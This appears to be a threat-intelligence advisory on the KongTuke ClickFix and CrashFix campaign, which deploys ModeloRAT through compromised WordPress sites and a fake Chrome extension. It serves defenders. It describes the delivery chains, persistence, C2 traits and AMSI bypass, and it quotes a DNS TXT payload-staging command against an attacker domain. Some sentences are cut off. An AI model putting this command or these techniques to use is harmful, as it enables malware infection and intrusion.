KongTuke ClickFix Campaign — ModeloRAT Deployment via Compromised WordPress Sites and CrashFix Browser Extension — Threadlinqs Intelligence
As of 2026-05-30, KongTuke ClickFix Campaign — ModeloRAT Deployment via Compromised WordPress Sites and CrashFix Browser Extension is a high-severity malware threat attributed to KongTuke (N/A), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 29 indicators of compromise.
Threat ID: TL-2026-0208 · Severity: HIGH · CVSS: 7.5 · Status: ACTIVE · Category: MALWARE
Attribution: KongTuke · N/A · FINANCIAL
Active malware campaign by threat actor KongTuke (TAG-124/LandUpdate808) leveraging compromised WordPress sites with fake CAPTCHA ClickFix lures and a malicious Chrome extension dubbed CrashFix to
KongTuke operates a multi-layered traffic distribution system (TDS) infrastructure comprising hundreds of compromised WordPress websites that serve as initial access vectors. The campaign employs two parallel delivery mechanisms: the original ClickFix technique, which injects malicious JavaScript into WordPress sites to present fake CAPTCHA verification pages, and the newer CrashFix variant, which uses a typosquatted Chrome extension called NexShield (masquerading as uBlock Origin Lite) to intentionally crash browsers and present fake security warnings.
In the ClickFix chain, compromised WordPress sites load external JavaScript from attacker-controlled domains (ainttby.com, ctpsih.com, foodgefy.com). The script queries Cloudflare trace endpoints for browser/OS fingerprinting, then dynamically injects a fake CAPTCHA overlay via document.write(). When victims interact with the verification prompt, a PowerShell command is silently copied to their clipboard and they are instructed to paste it into the Windows Run dialog.
In the CrashFix chain, the malicious NexShield extension (Chrome Web Store ID: cpcdkmjddocikjdkbbeiaafnpdbdafmi) implements a 60-minute delayed execution via Chrome Alarms API, then triggers a denial-of-service loop creating one billion chrome.runtime port connections to exhaust browser resources. After the crash, a fake security warning window (400x600px) appears, directing users to execute a command from the Windows Run dialog.
Both chains converge on the same PowerShell execution technique: finger.exe is copied to %TEMP%\ct.exe and used to retrieve ROT-cipher obfuscated PowerShell code from attacker infrastructure. The deobfuscated script performs extensive anti-analysis checks, scanning for 50+ security tools (Wireshark, Procmon, Process Hacker, x64dbg, OllyDbg, IDA, Ghidra, Fiddler, Sysmon) and virtual machine indicators (VMware, VirtualBox, QEMU, Parallels). A numeric fingerprinting system scores the environment to determine legitimacy.
Domain-joined systems receive ModeloRAT — a Python-based RAT delivered via portable WPy64-31401 Python distribution downloaded from Dropbox. ModeloRAT establishes persistence through Registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) using legitimate software names (Spotify47, Adobe2841) and scheduled tasks (SoftwareProtection, every 5 minutes). C2 communication uses RC4 encryption with random 16-byte keys, zlib compression, and HTTP POST beaconing to port 80 with configurable intervals (300s standard, 150ms active, 900s backoff). The RAT supports arbitrary command execution, file upload/download, process execution, registry operations, self-updating, and system shutdown.
Non-domain-joined systems receive a GateKeeper .NET payload with additional obfuscation layers (AES-256-CBC with PBKDF2, XOR cipher) and a domain generation algorithm producing weekly-seeded .top domains. These systems currently receive a test payload, suggesting the non-enterprise chain is still under development.
The campaign demonstrates operational sophistication with daily domain registration, weekly DGA seed rotation, AMSI bypass via memory patching of AmsiScanBuffer, and deliberate targeting of enterprise environments over home users.
---
**Revalidated on 2026-03-12**
POST-PUBLICATION INTELLIGENCE UPDATE (2026-03-12): Three developments expand the threat picture since publication. First, Unit 42 documented a DNS TXT record staging variant (active since late December 2025) in which KongTuke embeds PowerShell payloads in DNS TXT records of attacker-controlled .top domains. The injected ClickFix command uses 'Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8' instead of the finger.exe LOLBin or mshta techniques, adding a third parallel delivery sub-chain that evades web proxy inspection entirely. This should be documented as an additional initial access path alongside ClickFix and CrashFix. Second, a February 2, 2026 incident captured by Malware-Traffic-Analysis.
Weaknesses (CWE)
CWE-94, CWE-506, CWE-829
Target sectors: enterprise, government, financial, technology, education
Target regions: North America, Europe, Global
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 29 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1189, T1199, T1059, T1059, T1204, T1204, T1547, T1053, T1176, T1027